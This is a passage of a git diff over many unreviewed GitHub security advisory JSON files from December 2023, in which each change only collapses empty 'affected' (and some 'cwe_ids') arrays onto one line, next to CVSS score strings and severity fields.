b/advisories/unreviewed/2023/12/GHSA-6xr8-gq4v-4fhm/GHSA-6xr8-gq4v-4fhm.json index e3d24388d2f..368a8ce6ce2 100644 --- a/advisories/unreviewed/2023/12/GHSA-6xr8-gq4v-4fhm/GHSA-6xr8-gq4v-4fhm.json +++ b/advisories/unreviewed/2023/12/GHSA-6xr8-gq4v-4fhm/GHSA-6xr8-gq4v-4fhm.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-7j57-9v54-xwjr/GHSA-7j57-9v54-xwjr.json b/advisories/unreviewed/2023/12/GHSA-7j57-9v54-xwjr/GHSA-7j57-9v54-xwjr.json index 0325efe652e..3f7381f51b4 100644 --- a/advisories/unreviewed/2023/12/GHSA-7j57-9v54-xwjr/GHSA-7j57-9v54-xwjr.json +++ b/advisories/unreviewed/2023/12/GHSA-7j57-9v54-xwjr/GHSA-7j57-9v54-xwjr.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-7rvc-xw75-43jf/GHSA-7rvc-xw75-43jf.json b/advisories/unreviewed/2023/12/GHSA-7rvc-xw75-43jf/GHSA-7rvc-xw75-43jf.json index f39d4de078d..d0cdc28a883 100644 --- a/advisories/unreviewed/2023/12/GHSA-7rvc-xw75-43jf/GHSA-7rvc-xw75-43jf.json +++ b/advisories/unreviewed/2023/12/GHSA-7rvc-xw75-43jf/GHSA-7rvc-xw75-43jf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-7vhh-g5wq-xc24/GHSA-7vhh-g5wq-xc24.json b/advisories/unreviewed/2023/12/GHSA-7vhh-g5wq-xc24/GHSA-7vhh-g5wq-xc24.json index 576134ff027..ab22214dbbc 100644 --- a/advisories/unreviewed/2023/12/GHSA-7vhh-g5wq-xc24/GHSA-7vhh-g5wq-xc24.json +++ b/advisories/unreviewed/2023/12/GHSA-7vhh-g5wq-xc24/GHSA-7vhh-g5wq-xc24.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-82wr-wm9r-pf6p/GHSA-82wr-wm9r-pf6p.json b/advisories/unreviewed/2023/12/GHSA-82wr-wm9r-pf6p/GHSA-82wr-wm9r-pf6p.json index 816d57a1b80..8ab5c956cec 100644 --- a/advisories/unreviewed/2023/12/GHSA-82wr-wm9r-pf6p/GHSA-82wr-wm9r-pf6p.json +++ b/advisories/unreviewed/2023/12/GHSA-82wr-wm9r-pf6p/GHSA-82wr-wm9r-pf6p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-8f5w-6f56-pffq/GHSA-8f5w-6f56-pffq.json b/advisories/unreviewed/2023/12/GHSA-8f5w-6f56-pffq/GHSA-8f5w-6f56-pffq.json index ff6706a355c..9bd9d789039 100644 --- a/advisories/unreviewed/2023/12/GHSA-8f5w-6f56-pffq/GHSA-8f5w-6f56-pffq.json +++ b/advisories/unreviewed/2023/12/GHSA-8f5w-6f56-pffq/GHSA-8f5w-6f56-pffq.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-8r5w-j8rm-886w/GHSA-8r5w-j8rm-886w.json b/advisories/unreviewed/2023/12/GHSA-8r5w-j8rm-886w/GHSA-8r5w-j8rm-886w.json index c257ccb248e..03d799e69fd 100644 --- a/advisories/unreviewed/2023/12/GHSA-8r5w-j8rm-886w/GHSA-8r5w-j8rm-886w.json +++ b/advisories/unreviewed/2023/12/GHSA-8r5w-j8rm-886w/GHSA-8r5w-j8rm-886w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-8x4c-6c7p-x5wp/GHSA-8x4c-6c7p-x5wp.json b/advisories/unreviewed/2023/12/GHSA-8x4c-6c7p-x5wp/GHSA-8x4c-6c7p-x5wp.json index 5c937d318ce..a68c2f8fa23 100644 --- a/advisories/unreviewed/2023/12/GHSA-8x4c-6c7p-x5wp/GHSA-8x4c-6c7p-x5wp.json +++ b/advisories/unreviewed/2023/12/GHSA-8x4c-6c7p-x5wp/GHSA-8x4c-6c7p-x5wp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-93jq-qhh6-57w2/GHSA-93jq-qhh6-57w2.json b/advisories/unreviewed/2023/12/GHSA-93jq-qhh6-57w2/GHSA-93jq-qhh6-57w2.json index afdc470baa5..ed5a4bdf3c0 100644 --- a/advisories/unreviewed/2023/12/GHSA-93jq-qhh6-57w2/GHSA-93jq-qhh6-57w2.json +++ b/advisories/unreviewed/2023/12/GHSA-93jq-qhh6-57w2/GHSA-93jq-qhh6-57w2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-94j2-x7q3-948j/GHSA-94j2-x7q3-948j.json b/advisories/unreviewed/2023/12/GHSA-94j2-x7q3-948j/GHSA-94j2-x7q3-948j.json index 8f73531c1a5..bbcc4d4eea0 100644 --- a/advisories/unreviewed/2023/12/GHSA-94j2-x7q3-948j/GHSA-94j2-x7q3-948j.json +++ b/advisories/unreviewed/2023/12/GHSA-94j2-x7q3-948j/GHSA-94j2-x7q3-948j.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-95gr-jjvx-vq99/GHSA-95gr-jjvx-vq99.json b/advisories/unreviewed/2023/12/GHSA-95gr-jjvx-vq99/GHSA-95gr-jjvx-vq99.json index 7288a3a5673..3bfb5b7c08b 100644 --- a/advisories/unreviewed/2023/12/GHSA-95gr-jjvx-vq99/GHSA-95gr-jjvx-vq99.json +++ b/advisories/unreviewed/2023/12/GHSA-95gr-jjvx-vq99/GHSA-95gr-jjvx-vq99.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-9c65-wx34-mg83/GHSA-9c65-wx34-mg83.json b/advisories/unreviewed/2023/12/GHSA-9c65-wx34-mg83/GHSA-9c65-wx34-mg83.json index 75437c96e96..2f6606c115a 100644 --- a/advisories/unreviewed/2023/12/GHSA-9c65-wx34-mg83/GHSA-9c65-wx34-mg83.json +++ b/advisories/unreviewed/2023/12/GHSA-9c65-wx34-mg83/GHSA-9c65-wx34-mg83.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -27,9 +25,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2023/12/GHSA-c3w3-6pr9-c827/GHSA-c3w3-6pr9-c827.json b/advisories/unreviewed/2023/12/GHSA-c3w3-6pr9-c827/GHSA-c3w3-6pr9-c827.json index 99fe41c0211..0d5dcad4eaa 100644 --- a/advisories/unreviewed/2023/12/GHSA-c3w3-6pr9-c827/GHSA-c3w3-6pr9-c827.json +++ b/advisories/unreviewed/2023/12/GHSA-c3w3-6pr9-c827/GHSA-c3w3-6pr9-c827.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-c6j7-p32g-jc4p/GHSA-c6j7-p32g-jc4p.json b/advisories/unreviewed/2023/12/GHSA-c6j7-p32g-jc4p/GHSA-c6j7-p32g-jc4p.json index d5200102c50..212b322d5bd 100644 --- a/advisories/unreviewed/2023/12/GHSA-c6j7-p32g-jc4p/GHSA-c6j7-p32g-jc4p.json +++ b/advisories/unreviewed/2023/12/GHSA-c6j7-p32g-jc4p/GHSA-c6j7-p32g-jc4p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-c6px-7rm7-c5xr/GHSA-c6px-7rm7-c5xr.json b/advisories/unreviewed/2023/12/GHSA-c6px-7rm7-c5xr/GHSA-c6px-7rm7-c5xr.json index 7427acafc8a..a2e9775a20b 100644 --- a/advisories/unreviewed/2023/12/GHSA-c6px-7rm7-c5xr/GHSA-c6px-7rm7-c5xr.json +++ b/advisories/unreviewed/2023/12/GHSA-c6px-7rm7-c5xr/GHSA-c6px-7rm7-c5xr.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-c7j9-rrpf-r62p/GHSA-c7j9-rrpf-r62p.json b/advisories/unreviewed/2023/12/GHSA-c7j9-rrpf-r62p/GHSA-c7j9-rrpf-r62p.json index 1eeb780e5bb..029bc054559 100644 --- a/advisories/unreviewed/2023/12/GHSA-c7j9-rrpf-r62p/GHSA-c7j9-rrpf-r62p.json +++ b/advisories/unreviewed/2023/12/GHSA-c7j9-rrpf-r62p/GHSA-c7j9-rrpf-r62p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-c96h-4jr8-99gm/GHSA-c96h-4jr8-99gm.json b/advisories/unreviewed/2023/12/GHSA-c96h-4jr8-99gm/GHSA-c96h-4jr8-99gm.json index 997916a5d44..523c46a136a 100644 --- a/advisories/unreviewed/2023/12/GHSA-c96h-4jr8-99gm/GHSA-c96h-4jr8-99gm.json +++ b/advisories/unreviewed/2023/12/GHSA-c96h-4jr8-99gm/GHSA-c96h-4jr8-99gm.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-cgcm-7w4q-57f9/GHSA-cgcm-7w4q-57f9.json b/advisories/unreviewed/2023/12/GHSA-cgcm-7w4q-57f9/GHSA-cgcm-7w4q-57f9.json index 699d1dca658..f31d4320f88 100644 --- a/advisories/unreviewed/2023/12/GHSA-cgcm-7w4q-57f9/GHSA-cgcm-7w4q-57f9.json +++ b/advisories/unreviewed/2023/12/GHSA-cgcm-7w4q-57f9/GHSA-cgcm-7w4q-57f9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-ffq3-5jq8-m5f3/GHSA-ffq3-5jq8-m5f3.json b/advisories/unreviewed/2023/12/GHSA-ffq3-5jq8-m5f3/GHSA-ffq3-5jq8-m5f3.json index 6aed09ef913..6e82eb75d07 100644 --- a/advisories/unreviewed/2023/12/GHSA-ffq3-5jq8-m5f3/GHSA-ffq3-5jq8-m5f3.json +++ b/advisories/unreviewed/2023/12/GHSA-ffq3-5jq8-m5f3/GHSA-ffq3-5jq8-m5f3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-fv5r-xq86-g76x/GHSA-fv5r-xq86-g76x.json b/advisories/unreviewed/2023/12/GHSA-fv5r-xq86-g76x/GHSA-fv5r-xq86-g76x.json index fab5676a16e..84adc922278 100644 --- a/advisories/unreviewed/2023/12/GHSA-fv5r-xq86-g76x/GHSA-fv5r-xq86-g76x.json +++ b/advisories/unreviewed/2023/12/GHSA-fv5r-xq86-g76x/GHSA-fv5r-xq86-g76x.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-g37f-r5c6-x58f/GHSA-g37f-r5c6-x58f.json b/advisories/unreviewed/2023/12/GHSA-g37f-r5c6-x58f/GHSA-g37f-r5c6-x58f.json index 4016394ff17..0a54894285e 100644 --- a/advisories/unreviewed/2023/12/GHSA-g37f-r5c6-x58f/GHSA-g37f-r5c6-x58f.json +++ b/advisories/unreviewed/2023/12/GHSA-g37f-r5c6-x58f/GHSA-g37f-r5c6-x58f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-gfqh-8v9q-f2vf/GHSA-gfqh-8v9q-f2vf.json b/advisories/unreviewed/2023/12/GHSA-gfqh-8v9q-f2vf/GHSA-gfqh-8v9q-f2vf.json index 32fd88cf3e9..4006ae697e5 100644 --- a/advisories/unreviewed/2023/12/GHSA-gfqh-8v9q-f2vf/GHSA-gfqh-8v9q-f2vf.json +++ b/advisories/unreviewed/2023/12/GHSA-gfqh-8v9q-f2vf/GHSA-gfqh-8v9q-f2vf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-gpcj-wh2f-rr23/GHSA-gpcj-wh2f-rr23.json b/advisories/unreviewed/2023/12/GHSA-gpcj-wh2f-rr23/GHSA-gpcj-wh2f-rr23.json index 6f5d8367975..134f16f733f 100644 --- a/advisories/unreviewed/2023/12/GHSA-gpcj-wh2f-rr23/GHSA-gpcj-wh2f-rr23.json +++ b/advisories/unreviewed/2023/12/GHSA-gpcj-wh2f-rr23/GHSA-gpcj-wh2f-rr23.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-h6x7-j729-jq74/GHSA-h6x7-j729-jq74.json b/advisories/unreviewed/2023/12/GHSA-h6x7-j729-jq74/GHSA-h6x7-j729-jq74.json index e75026b8c08..855e6322cc6 100644 --- a/advisories/unreviewed/2023/12/GHSA-h6x7-j729-jq74/GHSA-h6x7-j729-jq74.json +++ b/advisories/unreviewed/2023/12/GHSA-h6x7-j729-jq74/GHSA-h6x7-j729-jq74.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-hc3j-xxm8-9r6j/GHSA-hc3j-xxm8-9r6j.json b/advisories/unreviewed/2023/12/GHSA-hc3j-xxm8-9r6j/GHSA-hc3j-xxm8-9r6j.json index 0cf11f08bbf..08fff1688fc 100644 --- a/advisories/unreviewed/2023/12/GHSA-hc3j-xxm8-9r6j/GHSA-hc3j-xxm8-9r6j.json +++ b/advisories/unreviewed/2023/12/GHSA-hc3j-xxm8-9r6j/GHSA-hc3j-xxm8-9r6j.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-hq64-qw75-h6q8/GHSA-hq64-qw75-h6q8.json b/advisories/unreviewed/2023/12/GHSA-hq64-qw75-h6q8/GHSA-hq64-qw75-h6q8.json index 770e09e1507..8961d63729d 100644 --- a/advisories/unreviewed/2023/12/GHSA-hq64-qw75-h6q8/GHSA-hq64-qw75-h6q8.json +++ b/advisories/unreviewed/2023/12/GHSA-hq64-qw75-h6q8/GHSA-hq64-qw75-h6q8.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-jpmp-7hr8-c4xp/GHSA-jpmp-7hr8-c4xp.json b/advisories/unreviewed/2023/12/GHSA-jpmp-7hr8-c4xp/GHSA-jpmp-7hr8-c4xp.json index 5ebe8f9292e..0db832c710d 100644 --- a/advisories/unreviewed/2023/12/GHSA-jpmp-7hr8-c4xp/GHSA-jpmp-7hr8-c4xp.json +++ b/advisories/unreviewed/2023/12/GHSA-jpmp-7hr8-c4xp/GHSA-jpmp-7hr8-c4xp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-jpwp-h56f-5v3g/GHSA-jpwp-h56f-5v3g.json b/advisories/unreviewed/2023/12/GHSA-jpwp-h56f-5v3g/GHSA-jpwp-h56f-5v3g.json index c1888a67350..2bad7b3a6b6 100644 --- a/advisories/unreviewed/2023/12/GHSA-jpwp-h56f-5v3g/GHSA-jpwp-h56f-5v3g.json +++ b/advisories/unreviewed/2023/12/GHSA-jpwp-h56f-5v3g/GHSA-jpwp-h56f-5v3g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-jxxf-4j56-j82w/GHSA-jxxf-4j56-j82w.json b/advisories/unreviewed/2023/12/GHSA-jxxf-4j56-j82w/GHSA-jxxf-4j56-j82w.json index 7b407d88083..9c1cd3b0736 100644 --- a/advisories/unreviewed/2023/12/GHSA-jxxf-4j56-j82w/GHSA-jxxf-4j56-j82w.json +++ b/advisories/unreviewed/2023/12/GHSA-jxxf-4j56-j82w/GHSA-jxxf-4j56-j82w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-m4mq-h54p-47ph/GHSA-m4mq-h54p-47ph.json b/advisories/unreviewed/2023/12/GHSA-m4mq-h54p-47ph/GHSA-m4mq-h54p-47ph.json index 4d726cd182c..c801822f813 100644 --- a/advisories/unreviewed/2023/12/GHSA-m4mq-h54p-47ph/GHSA-m4mq-h54p-47ph.json +++ b/advisories/unreviewed/2023/12/GHSA-m4mq-h54p-47ph/GHSA-m4mq-h54p-47ph.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-mwmq-cqwr-2xc4/GHSA-mwmq-cqwr-2xc4.json b/advisories/unreviewed/2023/12/GHSA-mwmq-cqwr-2xc4/GHSA-mwmq-cqwr-2xc4.json index e7c62d57266..26d1f619587 100644 --- a/advisories/unreviewed/2023/12/GHSA-mwmq-cqwr-2xc4/GHSA-mwmq-cqwr-2xc4.json +++ b/advisories/unreviewed/2023/12/GHSA-mwmq-cqwr-2xc4/GHSA-mwmq-cqwr-2xc4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -31,9 +29,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2023/12/GHSA-p69m-3m52-f3fc/GHSA-p69m-3m52-f3fc.json b/advisories/unreviewed/2023/12/GHSA-p69m-3m52-f3fc/GHSA-p69m-3m52-f3fc.json index 1af3c66c84a..c101c579adf 100644 --- a/advisories/unreviewed/2023/12/GHSA-p69m-3m52-f3fc/GHSA-p69m-3m52-f3fc.json +++ b/advisories/unreviewed/2023/12/GHSA-p69m-3m52-f3fc/GHSA-p69m-3m52-f3fc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-pgj7-38qw-cw8c/GHSA-pgj7-38qw-cw8c.json b/advisories/unreviewed/2023/12/GHSA-pgj7-38qw-cw8c/GHSA-pgj7-38qw-cw8c.json index a13c37a17a0..46f188a34f6 100644 --- a/advisories/unreviewed/2023/12/GHSA-pgj7-38qw-cw8c/GHSA-pgj7-38qw-cw8c.json +++ b/advisories/unreviewed/2023/12/GHSA-pgj7-38qw-cw8c/GHSA-pgj7-38qw-cw8c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-phwq-q4mv-xr5x/GHSA-phwq-q4mv-xr5x.json b/advisories/unreviewed/2023/12/GHSA-phwq-q4mv-xr5x/GHSA-phwq-q4mv-xr5x.json index 8599eb2062d..c3dd803bb4b 100644 --- a/advisories/unreviewed/2023/12/GHSA-phwq-q4mv-xr5x/GHSA-phwq-q4mv-xr5x.json +++ b/advisories/unreviewed/2023/12/GHSA-phwq-q4mv-xr5x/GHSA-phwq-q4mv-xr5x.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-prrc-2hxp-ppg6/GHSA-prrc-2hxp-ppg6.json b/advisories/unreviewed/2023/12/GHSA-prrc-2hxp-ppg6/GHSA-prrc-2hxp-ppg6.json index 465a4183286..2cee1fd2210 100644 --- a/advisories/unreviewed/2023/12/GHSA-prrc-2hxp-ppg6/GHSA-prrc-2hxp-ppg6.json +++ b/advisories/unreviewed/2023/12/GHSA-prrc-2hxp-ppg6/GHSA-prrc-2hxp-ppg6.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-q3f5-cm95-p5vp/GHSA-q3f5-cm95-p5vp.json b/advisories/unreviewed/2023/12/GHSA-q3f5-cm95-p5vp/GHSA-q3f5-cm95-p5vp.json index 6e3acffcd02..f3f2ba6b0ea 100644 --- a/advisories/unreviewed/2023/12/GHSA-q3f5-cm95-p5vp/GHSA-q3f5-cm95-p5vp.json +++ b/advisories/unreviewed/2023/12/GHSA-q3f5-cm95-p5vp/GHSA-q3f5-cm95-p5vp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-q86q-3rhp-gfqv/GHSA-q86q-3rhp-gfqv.json b/advisories/unreviewed/2023/12/GHSA-q86q-3rhp-gfqv/GHSA-q86q-3rhp-gfqv.json index 32ad29eb194..2aa74481b69 100644 --- a/advisories/unreviewed/2023/12/GHSA-q86q-3rhp-gfqv/GHSA-q86q-3rhp-gfqv.json +++ b/advisories/unreviewed/2023/12/GHSA-q86q-3rhp-gfqv/GHSA-q86q-3rhp-gfqv.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-q94h-2h95-cmhh/GHSA-q94h-2h95-cmhh.json b/advisories/unreviewed/2023/12/GHSA-q94h-2h95-cmhh/GHSA-q94h-2h95-cmhh.json index 4735b613548..777e738af52 100644 --- a/advisories/unreviewed/2023/12/GHSA-q94h-2h95-cmhh/GHSA-q94h-2h95-cmhh.json +++ b/advisories/unreviewed/2023/12/GHSA-q94h-2h95-cmhh/GHSA-q94h-2h95-cmhh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-qc9q-8cwr-cgv7/GHSA-qc9q-8cwr-cgv7.json b/advisories/unreviewed/2023/12/GHSA-qc9q-8cwr-cgv7/GHSA-qc9q-8cwr-cgv7.json index d45dc50459e..bd3782d8c04 100644 --- a/advisories/unreviewed/2023/12/GHSA-qc9q-8cwr-cgv7/GHSA-qc9q-8cwr-cgv7.json +++ b/advisories/unreviewed/2023/12/GHSA-qc9q-8cwr-cgv7/GHSA-qc9q-8cwr-cgv7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-qh76-pfvw-5cv4/GHSA-qh76-pfvw-5cv4.json b/advisories/unreviewed/2023/12/GHSA-qh76-pfvw-5cv4/GHSA-qh76-pfvw-5cv4.json index f79cbf65222..307bb720a78 100644 --- a/advisories/unreviewed/2023/12/GHSA-qh76-pfvw-5cv4/GHSA-qh76-pfvw-5cv4.json +++ b/advisories/unreviewed/2023/12/GHSA-qh76-pfvw-5cv4/GHSA-qh76-pfvw-5cv4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -31,9 +29,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2023/12/GHSA-qp63-p22m-gxmj/GHSA-qp63-p22m-gxmj.json b/advisories/unreviewed/2023/12/GHSA-qp63-p22m-gxmj/GHSA-qp63-p22m-gxmj.json index dbb90bb2e5a..7c0086c77c2 100644 --- a/advisories/unreviewed/2023/12/GHSA-qp63-p22m-gxmj/GHSA-qp63-p22m-gxmj.json +++ b/advisories/unreviewed/2023/12/GHSA-qp63-p22m-gxmj/GHSA-qp63-p22m-gxmj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-r24w-m5xx-v22x/GHSA-r24w-m5xx-v22x.json b/advisories/unreviewed/2023/12/GHSA-r24w-m5xx-v22x/GHSA-r24w-m5xx-v22x.json index a6375c2bce6..230ab1316d3 100644 --- a/advisories/unreviewed/2023/12/GHSA-r24w-m5xx-v22x/GHSA-r24w-m5xx-v22x.json +++ b/advisories/unreviewed/2023/12/GHSA-r24w-m5xx-v22x/GHSA-r24w-m5xx-v22x.json @@ -13,9 +13,7 @@ "score": 